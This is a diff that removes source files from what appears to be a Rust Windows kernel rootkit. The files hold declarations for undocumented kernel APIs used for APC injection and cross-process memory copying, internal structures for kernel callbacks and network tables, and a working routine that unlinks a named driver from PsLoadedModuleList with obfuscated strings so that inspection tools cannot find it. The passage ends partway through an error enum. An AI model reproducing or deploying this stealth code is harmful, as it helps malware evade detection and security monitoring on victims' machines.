#[repr(C)]
|
||||
pub enum KAPC_ENVIROMENT {
|
||||
OriginalApcEnvironment,
|
||||
AttachedApcEnvironment,
|
||||
CurrentApcEnvironment,
|
||||
InsertApcEnvironment
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy)]
|
||||
pub enum COMUNICATION_TYPE {
|
||||
TCP = 3,
|
||||
UDP = 1
|
||||
}
|
||||
@@ -1,68 +0,0 @@
|
||||
use super::*;
|
||||
use wdk_sys::*;
|
||||
|
||||
extern "C" {
|
||||
pub static mut IoDriverObjectType: *mut *mut _OBJECT_TYPE;
|
||||
}
|
||||
|
||||
extern "system" {
|
||||
pub fn PsGetProcessPeb(ProcessId: PEPROCESS) -> PPEB;
|
||||
|
||||
pub fn PsGetCurrentThread() -> PETHREAD;
|
||||
|
||||
pub fn IoCreateDriver(
|
||||
DriverName: PUNICODE_STRING,
|
||||
DriverInitialize: types::DRIVER_INITIALIZE,
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub fn ZwProtectVirtualMemory(
|
||||
ProcessHandle: HANDLE,
|
||||
BaseAddress: *mut PVOID,
|
||||
RegionSize: PSIZE_T,
|
||||
NewProtect: ULONG,
|
||||
OldProtect: PULONG
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub fn MmCopyVirtualMemory(
|
||||
SourceProcess: PEPROCESS,
|
||||
SourceAddress: PVOID,
|
||||
TargetProcess: PEPROCESS,
|
||||
TargetAddress: PVOID,
|
||||
BufferSize: SIZE_T,
|
||||
PreviousMode: KPROCESSOR_MODE,
|
||||
ReturnSize: PSIZE_T,
|
||||
);
|
||||
|
||||
pub fn KeInitializeApc(
|
||||
APC: PRKAPC,
|
||||
Thread: PETHREAD,
|
||||
Environment: enums::KAPC_ENVIROMENT,
|
||||
KernelRoutine: types::PKKERNEL_ROUTINE,
|
||||
RundownRoutine: types::PKRUNDOWN_ROUTINE,
|
||||
NormalRoutine: types::PKNORMAL_ROUTINE,
|
||||
ApcMode: KPROCESSOR_MODE,
|
||||
NormalContext: PVOID
|
||||
);
|
||||
|
||||
pub fn KeTestAlertThread(
|
||||
AlertMode: KPROCESSOR_MODE
|
||||
);
|
||||
|
||||
pub fn KeInsertQueueApc(
|
||||
APC: PRKAPC,
|
||||
SystemArgument1: PVOID,
|
||||
SystemArgument2: PVOID,
|
||||
Increment: KPRIORITY
|
||||
) -> bool;
|
||||
|
||||
pub fn ObReferenceObjectByName(
|
||||
ObjectName: PUNICODE_STRING,
|
||||
Attributes: u32,
|
||||
AccessState: PACCESS_STATE,
|
||||
DesiredAccess: ACCESS_MASK,
|
||||
ObjectType: POBJECT_TYPE,
|
||||
AccessMode: KPROCESSOR_MODE,
|
||||
ParseContext: PVOID,
|
||||
Object: *mut PVOID,
|
||||
) -> NTSTATUS;
|
||||
}
|
||||
@@ -1,13 +0,0 @@
|
||||
#![allow(non_camel_case_types, non_snake_case)]
|
||||
|
||||
pub mod structs;
|
||||
pub use structs::*;
|
||||
|
||||
pub mod types;
|
||||
pub use types::*;
|
||||
|
||||
pub mod externs;
|
||||
pub use externs::*;
|
||||
|
||||
pub mod enums;
|
||||
pub use enums::*;
|
||||
@@ -1,399 +0,0 @@
|
||||
use {
|
||||
wdk_sys::*,
|
||||
bitfield::bitfield,
|
||||
common::enums::Callbacks,
|
||||
core::{ffi::c_void, mem::ManuallyDrop},
|
||||
};
|
||||
|
||||
|
||||
use super::COMUNICATION_TYPE;
|
||||
|
||||
bitfield! {
|
||||
pub struct PS_PROTECTION(u8);
|
||||
pub u8, Type, SetType: 2, 0;
|
||||
pub u8, Audit, SetAudit: 3;
|
||||
pub u8, Signer, SetSigner: 7, 4;
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct PROCESS_SIGNATURE {
|
||||
pub SignatureLevel: u8,
|
||||
pub SectionSignatureLevel: u8,
|
||||
pub Protection: PS_PROTECTION,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct SystemModuleInformation {
|
||||
pub ModuleCount: u32,
|
||||
pub Modules: [SystemModule; 256],
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct SystemModule {
|
||||
pub Section: *mut c_void,
|
||||
pub MappedBase: *mut c_void,
|
||||
pub ImageBase: *mut c_void,
|
||||
pub Size: u32,
|
||||
pub Flags: u32,
|
||||
pub Index: u8,
|
||||
pub NameLength: u8,
|
||||
pub LoadCount: u8,
|
||||
pub PathLength: u8,
|
||||
pub ImageName: [u8; 256],
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct MMVAD_SHORT {
|
||||
pub VadNode: RTL_BALANCED_NODE,
|
||||
pub StartingVpn: u32,
|
||||
pub EndingVpn: u32,
|
||||
pub StartingVpnHigh: u8,
|
||||
pub EndingVpnHigh: u8,
|
||||
pub CommitChargeHigh: u8,
|
||||
pub SpareNT64VadUChar: u8,
|
||||
pub ReferenceCount: i32,
|
||||
pub PushLock: usize,
|
||||
pub u: MMVAD_SHORT_0,
|
||||
pub u1: MMVAD_SHORT_0_0,
|
||||
pub u5: MMVAD_SHORT_0_0_0,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union MMVAD_SHORT_0 {
|
||||
pub LongFlags: u32,
|
||||
pub VadFlags: ManuallyDrop<MMVAD_FLAGS>,
|
||||
pub PrivateVadFlags: ManuallyDrop<MM_PRIVATE_VAD_FLAGS>,
|
||||
pub GraphicsVadFlags: ManuallyDrop<MM_GRAPHICS_VAD_FLAGS>,
|
||||
pub SharedVadFlags: ManuallyDrop<MM_SHARED_VAD_FLAGS>,
|
||||
pub VolatileLong: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union MMVAD_SHORT_0_0 {
|
||||
pub LongFlags1: u32,
|
||||
pub VadFlags1: ManuallyDrop<MMVAD_FLAGS1>,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union MMVAD_SHORT_0_0_0 {
|
||||
pub EventListUlongPtr: u64,
|
||||
pub StartingVpnHigher: u8,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct SUBSECTION {
|
||||
pub ControlArea: *mut CONTROL_AREA,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct CONTROL_AREA {
|
||||
Segment: *mut *mut c_void,
|
||||
ListOrAweContext: LIST_OR_AWE_CONTEXT,
|
||||
NumberOfSectionReferences: u64,
|
||||
NumberOfPfnReferences: u64,
|
||||
NumberOfMappedViews: u64,
|
||||
NumberOfUserReferences: u64,
|
||||
u: CONTROL_AREA_0,
|
||||
u1: CONTROL_AREA_0_0,
|
||||
pub FilePointer: EX_FAST_REF
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct EX_FAST_REF {
|
||||
pub Inner: EX_FAST_REF_INNER,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union EX_FAST_REF_INNER {
|
||||
pub Object: *mut c_void,
|
||||
pub Value: u64,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union CONTROL_AREA_0 {
|
||||
LongFlags: u32,
|
||||
Flags: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union CONTROL_AREA_0_0 {
|
||||
LongFlags: u32,
|
||||
Flags: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union LIST_OR_AWE_CONTEXT {
|
||||
ListHead: LIST_ENTRY,
|
||||
AweContext: *mut c_void,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct MMVAD {
|
||||
Core: MMVAD_SHORT,
|
||||
u2: MMVAD_0,
|
||||
pub SubSection: *mut SUBSECTION
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union MMVAD_0 {
|
||||
LongFlags2: u32,
|
||||
VadFlags2: ManuallyDrop<MMVAD_FLAGS2>
|
||||
}
|
||||
|
||||
bitfield! {
|
||||
#[repr(C)]
|
||||
pub struct MMVAD_FLAGS(u32);
|
||||
impl Debug;
|
||||
u32;
|
||||
pub Lock, SetLock: 0;
|
||||
pub LockContended, SetLockContended: 1;
|
||||
pub DeleteInProgress, SetDeleteInProgress: 2;
|
||||
pub NoChange, SetNoChange: 3;
|
||||
pub VadType, SetVadType: 6, 4;
|
||||
pub Protection, SetProtection: 11, 7;
|
||||
pub PreferredNode, SetPreferredNode: 18, 12;
|
||||
pub PageSize, SetPageSize: 19, 20;
|
||||
pub PrivateMemory, SetPrivateMemory: 21;
|
||||
}
|
||||
|
||||
bitfield! {
|
||||
#[repr(C)]
|
||||
pub struct MMVAD_FLAGS1(u32);
|
||||
impl Debug;
|
||||
pub CommitCharge, SetCommitCharge: 30, 0;
|
||||
pub MemCommit, SetMemCommit: 31;
|
||||
}
|
||||
|
||||
bitfield! {
|
||||
#[repr(C)]
|
||||
pub struct MMVAD_FLAGS2(u32);
|
||||
impl Debug;
|
||||
u32;
|
||||
pub FileOffset, SetFileOffset: 0, 23;
|
||||
pub Large, SetLarge: 24;
|
||||
pub TrimBehind, SetTrimBehind: 25;
|
||||
pub Inherit, SetInherit: 26;
|
||||
pub NoValidationNeeded, SetNoValidationNeeded: 27;
|
||||
pub PrivateDemandZEro, SetPrivateDemandZero: 28;
|
||||
pub Spare, SetSpare: 29, 31;
|
||||
}
|
||||
|
||||
bitfield! {
|
||||
#[repr(C)]
|
||||
pub struct MM_SHARED_VAD_FLAGS(u32);
|
||||
impl Debug;
|
||||
u32;
|
||||
pub Lock, SetLock: 1;
|
||||
pub LockContended, SetLockContended: 1;
|
||||
pub DeleteInProgress, SetDeleteInProgress: 1;
|
||||
pub NoChange, SetNoChange: 1;
|
||||
pub VadType, SetVadType: 6, 4;
|
||||
pub Protection, SetProtection: 11, 7;
|
||||
pub PreferredNode, SetPreferredNode: 18, 12;
|
||||
pub PageSize, SetPageSize: 19, 20;
|
||||
pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21;
|
||||
pub PrivateFixup, SetPrivateFixup: 22;
|
||||
pub HotPatchState, SetHotPatchState: 24, 23;
|
||||
}
|
||||
|
||||
bitfield! {
|
||||
#[repr(C)]
|
||||
pub struct MM_PRIVATE_VAD_FLAGS(u32);
|
||||
impl Debug;
|
||||
u32;
|
||||
pub Lock, SetLock: 1;
|
||||
pub LockContended, SetLockContended: 1;
|
||||
pub DeleteInProgress, SetDeleteInProgress: 1;
|
||||
pub NoChange, SetNoChange: 1;
|
||||
pub VadType, SetVadType: 6, 4;
|
||||
pub Protection, SetProtection: 11, 7;
|
||||
pub PreferredNode, SetPreferredNode: 18, 12;
|
||||
pub PageSize, SetPageSize: 19, 20;
|
||||
pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21;
|
||||
pub Writewatch, setWrite: 22;
|
||||
pub FixedLargePageSize, SetPageLarge: 23;
|
||||
pub ZeroFillPagesOptional, SetZeroFill: 24;
|
||||
pub Graphics, SetGraphics: 25;
|
||||
pub Enclave, SetEnclave: 26;
|
||||
pub ShadowStack, SetShadowStack: 27;
|
||||
pub PhysicalMemoryPfnsReferenced, SetPhysical: 28;
|
||||
}
|
||||
|
||||
bitfield! {
|
||||
#[repr(C)]
|
||||
pub struct MM_GRAPHICS_VAD_FLAGS(u32);
|
||||
impl Debug;
|
||||
u32;
|
||||
pub Lock, SetLock: 1;
|
||||
pub LockContended, SetLockContended: 1;
|
||||
pub DeleteInProgress, SetDeleteInProgress: 1;
|
||||
pub NoChange, SetNoChange: 1;
|
||||
pub VadType, SetVadType: 6, 4;
|
||||
pub Protection, SetProtection: 11, 7;
|
||||
pub PreferredNode, SetPreferredNode: 18, 12;
|
||||
pub PageSize, SetPageSize: 19, 20;
|
||||
pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21;
|
||||
pub Writewatch, setWrite: 22;
|
||||
pub FixedLargePageSize, SetPageLarge: 23;
|
||||
pub ZeroFillPagesOptional, SetZeroFill: 24;
|
||||
pub GraphicsAlwaysSet, SetGraphicsAlwaysSet: 25;
|
||||
pub GraphicsUseCoherent, SetGraphicsUseCoherent: 26;
|
||||
pub GraphicsNoCache, SetGraphicsNoCache: 27;
|
||||
pub GraphicsPageProtection, SetGraphicsPageProtection: 30, 28;
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct TRACE_ENABLE_INFO {
|
||||
pub IsEnabled: u32,
|
||||
pub Level: u8,
|
||||
pub Reserved1: u8,
|
||||
pub LoggerId: u16,
|
||||
pub EnableProperty: u32,
|
||||
pub Reserved2: u32,
|
||||
pub MatchAnyKeyword: u64,
|
||||
pub MatchAllKeyword: u64
|
||||
}
|
||||
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Debug)]
|
||||
pub struct NSI_TCP_ENTRY {
|
||||
pub Reserved1: [u8; 2],
|
||||
pub Port: u16,
|
||||
pub IpAddress: u32,
|
||||
pub IpAddress6: [u8; 16],
|
||||
pub Reserved2: [u8; 4]
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Debug)]
|
||||
pub struct NSI_TABLE_TCP_ENTRY {
|
||||
pub Local: NSI_TCP_ENTRY,
|
||||
pub Remote: NSI_TCP_ENTRY
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct NSI_UDP_ENTRY {
|
||||
pub Reserved1: [u8; 2],
|
||||
pub Port: u16,
|
||||
pub IpAddress: u32,
|
||||
pub IpAddress6: [u8; 16],
|
||||
pub Reserved2: [u8; 4]
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct NSI_PARAM {
|
||||
pub Reserved1: usize,
|
||||
pub Reverved2: usize,
|
||||
pub ModuleId: *mut core::ffi::c_void,
|
||||
pub Type_: COMUNICATION_TYPE,
|
||||
pub Reserved3: u32,
|
||||
pub Reserved4: u32,
|
||||
pub Entries: *mut core::ffi::c_void,
|
||||
pub EntrySize: usize,
|
||||
pub Reserved5: *mut core::ffi::c_void,
|
||||
pub Reserved6: usize,
|
||||
pub StatusEntries: *mut NSI_STATUS_ENTRY,
|
||||
pub Reserved7: usize,
|
||||
pub ProcessEntries: *mut NSI_PROCESS_ENTRY,
|
||||
pub ProcessEntrySize: usize,
|
||||
pub Count: usize
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct NSI_STATUS_ENTRY {
|
||||
pub State: u32,
|
||||
pub Reserved: [u8; 8]
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct NSI_PROCESS_ENTRY {
|
||||
pub UdpProcessId: u32,
|
||||
pub Reserved1: u32,
|
||||
pub Reserved2: u32,
|
||||
pub TcpProcessId: u32,
|
||||
pub Reserved3: u32,
|
||||
pub Reserved4: u32,
|
||||
pub Reserved5: u32,
|
||||
pub Reserved6: u32
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct FULL_OBJECT_TYPE {
|
||||
pub TypeList: LIST_ENTRY,
|
||||
pub Name: UNICODE_STRING,
|
||||
pub DefaultObject: *mut c_void,
|
||||
pub Index: u8,
|
||||
pub TotalNumberOf_Objects: u32,
|
||||
pub TotalNumberOfHandles: u32,
|
||||
pub HighWaterNumberOfObjects: u32,
|
||||
pub HighWaterNumberOfHandles: u32,
|
||||
pub TypeInfo: [u8; 0x78],
|
||||
pub TypeLock: _EX_PUSH_LOCK,
|
||||
pub Key: u32,
|
||||
pub CallbackList: LIST_ENTRY,
|
||||
}
|
||||
|
||||
bitfield! {
|
||||
pub struct _EX_PUSH_LOCK(u64);
|
||||
impl Debug;
|
||||
u64;
|
||||
Locked, SetLocked: 0;
|
||||
Waiting, SetWaiting: 1;
|
||||
Waking, Setwaking: 2;
|
||||
MultipleShared, SetMultipleShared: 3;
|
||||
Shared, SetShared: 63, 4;
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Default)]
|
||||
pub struct CallbackRestaure {
|
||||
pub index: usize,
|
||||
pub callback: Callbacks,
|
||||
pub address: u64,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Default)]
|
||||
pub struct CallbackRestaureOb{
|
||||
pub index: usize,
|
||||
pub callback: Callbacks,
|
||||
pub pre_operation: u64,
|
||||
pub post_operation: u64,
|
||||
pub entry: u64,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct CM_CALLBACK {
|
||||
pub List: LIST_ENTRY,
|
||||
pub Unknown1: [u64; 2],
|
||||
pub Context: u64,
|
||||
pub Function: u64,
|
||||
pub Altitude: UNICODE_STRING,
|
||||
pub Unknown2: [u64; 2],
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct OBCALLBACK_ENTRY {
|
||||
pub CallbackList: LIST_ENTRY,
|
||||
pub Operations: OB_OPERATION,
|
||||
pub Enabled: bool,
|
||||
pub Entry: *mut OB_CALLBACK,
|
||||
pub ObjectType: POBJECT_TYPE,
|
||||
pub PreOperation: POB_PRE_OPERATION_CALLBACK,
|
||||
pub PostOperation: POB_POST_OPERATION_CALLBACK,
|
||||
pub Lock: KSPIN_LOCK
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct OB_CALLBACK {
|
||||
pub Version: u16,
|
||||
pub OperationRegistrationCount: u16,
|
||||
pub RegistrationContext: *mut c_void,
|
||||
pub AltitudeString: UNICODE_STRING,
|
||||
pub EntryItems: [OBCALLBACK_ENTRY; 1],
|
||||
pub AltitudeBuffer: [u16; 1],
|
||||
}
|
||||
@@ -1,41 +0,0 @@
|
||||
#![allow(non_camel_case_types)]
|
||||
|
||||
use wdk_sys::*;
|
||||
use ntapi::ntpsapi::PPS_ATTRIBUTE_LIST;
|
||||
|
||||
pub type DRIVER_INITIALIZE = core::option::Option<unsafe extern "system" fn(
|
||||
DriverObject: &mut _DRIVER_OBJECT,
|
||||
RegistryPath: PCUNICODE_STRING,
|
||||
) -> NTSTATUS>;
|
||||
|
||||
pub type ZwCreateThreadExType = unsafe extern "system" fn (
|
||||
ThreadHandle: PHANDLE,
|
||||
DesiredAccess: ACCESS_MASK,
|
||||
ObjectAttributes: POBJECT_ATTRIBUTES,
|
||||
ProcessHandle: HANDLE,
|
||||
StartRoutine: PVOID,
|
||||
Argument: PVOID,
|
||||
CreateFlags: SIZE_T,
|
||||
ZeroBits: usize,
|
||||
StackSize: usize,
|
||||
MaximumStackSize: usize,
|
||||
AttributeList: PPS_ATTRIBUTE_LIST
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub type PKRUNDOWN_ROUTINE = Option<unsafe extern "system" fn(
|
||||
APC: PKAPC,
|
||||
) -> NTSTATUS>;
|
||||
|
||||
pub type PKNORMAL_ROUTINE = Option<unsafe extern "system" fn(
|
||||
NormalContext: *mut PVOID,
|
||||
SystemArgument1: *mut PVOID,
|
||||
SystemArgument2: *mut PVOID
|
||||
) -> NTSTATUS>;
|
||||
|
||||
pub type PKKERNEL_ROUTINE = unsafe extern "system" fn(
|
||||
APC: PKAPC,
|
||||
NormalRoutine: *mut PKNORMAL_ROUTINE,
|
||||
NormalContext: *mut PVOID,
|
||||
SystemArgument1: *mut PVOID,
|
||||
SystemArgument2: *mut PVOID
|
||||
);
|
||||
@@ -1,180 +0,0 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
common::structs::DriverInfo,
|
||||
crate::{error::ShadowError, uni},
|
||||
alloc::{
|
||||
vec::Vec,
|
||||
string::{String, ToString},
|
||||
},
|
||||
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
||||
wdk_sys::{
|
||||
ntddk::MmGetSystemRoutineAddress,
|
||||
LIST_ENTRY, NTSTATUS, PLIST_ENTRY,
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
};
|
||||
|
||||
/// Represents driver manipulation operations.
|
||||
///
|
||||
/// The `Driver` struct provides methods to hide and unhide kernel drivers
|
||||
/// by modifying the `PsLoadedModuleList`, which tracks loaded drivers in the system.
|
||||
pub struct Driver;
|
||||
|
||||
impl Driver {
|
||||
/// Hides a specified driver from the PsLoadedModuleList.
|
||||
///
|
||||
/// This function iterates over the `PsLoadedModuleList` to find a driver whose name matches
|
||||
/// the provided `driver_name`. Once found, the driver is unlinked from the list, effectively hiding it
|
||||
/// from tools that inspect the loaded drivers list.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `driver_name` - A string slice containing the name of the driver to hide.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok((LIST_ENTRY, LDR_DATA_TABLE_ENTRY))` - Returns a tuple containing the previous `LIST_ENTRY`
|
||||
/// and the `LDR_DATA_TABLE_ENTRY` of the hidden driver, which can be used later to restore the driver in the list.
|
||||
/// * `Err(ShadowError)` - If the driver is not found or a failure occurs during the process.
|
||||
pub unsafe fn hide_driver(driver_name: &str) -> Result<(LIST_ENTRY, LDR_DATA_TABLE_ENTRY), ShadowError> {
|
||||
// Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address
|
||||
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
||||
|
||||
// Get the address of the PsLoadedModuleList, which contains the list of loaded drivers
|
||||
let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
||||
if ldr_data.is_null() {
|
||||
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"));
|
||||
}
|
||||
|
||||
let list_entry = ldr_data as *mut LIST_ENTRY;
|
||||
let mut next = (*ldr_data).InLoadOrderLinks.Flink as *mut LIST_ENTRY;
|
||||
|
||||
// Iterate through the loaded module list to find the target driver
|
||||
while next != list_entry {
|
||||
let current = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// Convert the driver name from UTF-16 to a Rust string
|
||||
let buffer = core::slice::from_raw_parts((*current).BaseDllName.Buffer, ((*current).BaseDllName.Length / 2) as usize);
|
||||
let name = String::from_utf16_lossy(buffer);
|
||||
|
||||
// Check if the current driver matches the target driver
|
||||
if name.contains(driver_name) {
|
||||
// The next driver in the chain
|
||||
let next = (*current).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// The previous driver in the chain
|
||||
let previous = (*current).InLoadOrderLinks.Blink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// Storing the previous list entry, which will be returned
|
||||
let previous_link = LIST_ENTRY {
|
||||
Flink: next as *mut LIST_ENTRY,
|
||||
Blink: previous as *mut LIST_ENTRY,
|
||||
};
|
||||
|
||||
// Unlink the current driver
|
||||
(*next).InLoadOrderLinks.Blink = previous as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||
(*previous).InLoadOrderLinks.Flink = next as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||
|
||||
// Make the current driver point to itself to "hide" it
|
||||
(*current).InLoadOrderLinks.Flink = current as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||
(*current).InLoadOrderLinks.Blink = current as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||
|
||||
return Ok((previous_link, *current))
|
||||
}
|
||||
|
||||
next = (*next).Flink;
|
||||
}
|
||||
|
||||
// Return an error if the driver is not found
|
||||
Err(ShadowError::DriverNotFound(driver_name.to_string()))
|
||||
}
|
||||
|
||||
/// Unhides a previously hidden driver by restoring it to the `PsLoadedModuleList`.
|
||||
///
|
||||
/// This function takes a previously hidden driver's `LIST_ENTRY` and `LDR_DATA_TABLE_ENTRY`
|
||||
/// and restores it back into the module list, making it visible again.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `driver_name` - The name of the driver to unhide.
|
||||
/// * `list_entry` - A pointer to the `LIST_ENTRY` that was saved when the driver was hidden.
|
||||
/// * `driver_entry` - A pointer to the `LDR_DATA_TABLE_ENTRY` of the hidden driver.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(STATUS_SUCCESS)` - If the driver is successfully restored to the list.
|
||||
/// * `Err(ShadowError)` - If an error occurs during the restoration process.
|
||||
pub unsafe fn unhide_driver(driver_name: &str, list_entry: PLIST_ENTRY, driver_entry: *mut LDR_DATA_TABLE_ENTRY) -> Result<NTSTATUS, ShadowError> {
|
||||
// Restore the driver's link pointers
|
||||
(*driver_entry).InLoadOrderLinks.Flink = (*list_entry).Flink as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||
(*driver_entry).InLoadOrderLinks.Blink = (*list_entry).Blink as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||
|
||||
// Link the driver back into the list
|
||||
let next = (*driver_entry).InLoadOrderLinks.Flink;
|
||||
let previous = (*driver_entry).InLoadOrderLinks.Blink;
|
||||
|
||||
(*next).Blink = driver_entry as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||
(*previous).Flink = driver_entry as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||
|
||||
Ok(STATUS_SUCCESS)
|
||||
}
|
||||
|
||||
/// Enumerates all drivers currently loaded in the kernel.
|
||||
///
|
||||
/// This function iterates over the `PsLoadedModuleList` to gather information about all
|
||||
/// currently loaded drivers, such as their name, base address, and index. It stores the
|
||||
/// gathered information in a `Vec<DriverInfo>` which is returned to the caller.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(Vec<DriverInfo>)` - A vector of `DriverInfo` structs, each containing the name, base address,
|
||||
/// and index of a loaded driver.
|
||||
/// * `Err(ShadowError)` - If the function fails to access the `PsLoadedModuleList` or any other
|
||||
/// errors occur during the process.
|
||||
pub unsafe fn enumerate_driver() -> Result<Vec<DriverInfo>, ShadowError> {
|
||||
let mut drivers: Vec<DriverInfo> = Vec::with_capacity(276);
|
||||
|
||||
// Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address
|
||||
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
||||
|
||||
// Get the address of the PsLoadedModuleList, which contains the list of loaded drivers
|
||||
let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
||||
if ldr_data.is_null() {
|
||||
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"));
|
||||
}
|
||||
|
||||
let current = ldr_data as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||
let mut next = (*ldr_data).InLoadOrderLinks.Flink;
|
||||
let mut count = 0;
|
||||
|
||||
// Iterate over the list of loaded drivers
|
||||
while next != current {
|
||||
let ldr_data_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// Get the driver name from the `BaseDllName` field, converting it from UTF-16 to a Rust string
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*ldr_data_entry).BaseDllName.Buffer,
|
||||
((*ldr_data_entry).BaseDllName.Length / 2) as usize,
|
||||
);
|
||||
|
||||
// Prepare the name buffer, truncating if necessary to fit the 256-character limit
|
||||
let mut name = [0u16; 256];
|
||||
let length = core::cmp::min(buffer.len(), 255);
|
||||
name[..length].copy_from_slice(&buffer[..length]);
|
||||
|
||||
// Populates the `DriverInfo` structure with name, address, and index
|
||||
drivers.push(DriverInfo {
|
||||
name,
|
||||
address: (*ldr_data_entry).DllBase as usize,
|
||||
index: count as u8,
|
||||
});
|
||||
|
||||
count += 1;
|
||||
|
||||
// Move to the next driver in the list
|
||||
next = (*next).Flink;
|
||||
}
|
||||
|
||||
Ok(drivers)
|
||||
}
|
||||
}
|
||||
@@ -1,150 +0,0 @@
|
||||
use alloc::string::String;
|
||||
use thiserror_no_std::Error;
|
||||
|
||||
#[derive(Debug, Error)]
|
||||
pub enum ShadowError {
|
||||
/// Represents an error where an API call failed.
|
||||
///
|
||||
/// * `{0}` - The name of the API.
|
||||
/// * `{1}` - The status code returned by the API.
|
||||
#[error("{0} Failed With Status: {1}")]
|
||||
ApiCallFailed(&'static str, i32),
|
||||
|
||||
/// Represents an error where a function execution failed at a specific line.
|
||||
///
|
||||
/// * `{0}` - The name of the function.
|
||||
/// * `{1}` - The line number where the function failed.
|
||||
#[error("{0} function failed on the line: {1}")]
|
||||
FunctionExecutionFailed(&'static str, u32),
|
||||
|
||||
/// Error when a process with a specific identifier is not found.
|
||||
///
|
||||
/// This error is returned when the system cannot locate a process with the given
|
||||
/// identifier (e.g., PID or process name).
|
||||
///
|
||||
/// * `{0}` - The identifier of the process that was not found.
|
||||
#[error("Process with identifier {0} not found")]
|
||||
ProcessNotFound(String),
|
||||
|
||||
/// Error when a thread with a specific TID is not found.
|
||||
///
|
||||
/// This error occurs when a thread with the specified TID cannot be located in the system.
|
||||
///
|
||||
/// * `{0}` - The thread identifier (TID) that was not found.
|
||||
#[error("Thread with TID {0} not found")]
|
||||
ThreadNotFound(usize),
|
||||
|
||||
/// Represents an invalid device request error.
|
||||
///
|
||||
/// This error occurs when an invalid or unsupported request is made to a device.
|
||||
#[error("Invalid Device Request")]
|
||||
InvalidDeviceRequest,
|
||||
|
||||
/// Represents an error where a null pointer was encountered.
|
||||
///
|
||||
/// This error occurs when a null pointer is encountered during an operation that
|
||||
/// requires a valid memory reference.
|
||||
///
|
||||
/// * `{0}` - The name of the pointer that was null.
|
||||
#[error("Pointer is null: {0}")]
|
||||
NullPointer(&'static str),
|
||||
|
||||
/// Represents an error where a string conversion from a raw pointer failed.
|
||||
///
|
||||
/// This error is returned when the system fails to convert a raw pointer to a string,
|
||||
/// typically during Unicode or ANSI string conversions.
|
||||
///
|
||||
/// * `{0}` - The memory address of the raw pointer that failed to convert.
|
||||
#[error("Failed to convert string from raw pointer at {0}")]
|
||||
StringConversionFailed(usize),
|
||||
|
||||
/// Represents an error where a specific module was not found.
|
||||
///
|
||||
/// This error occurs when a module (e.g., a DLL or driver) with the specified name
|
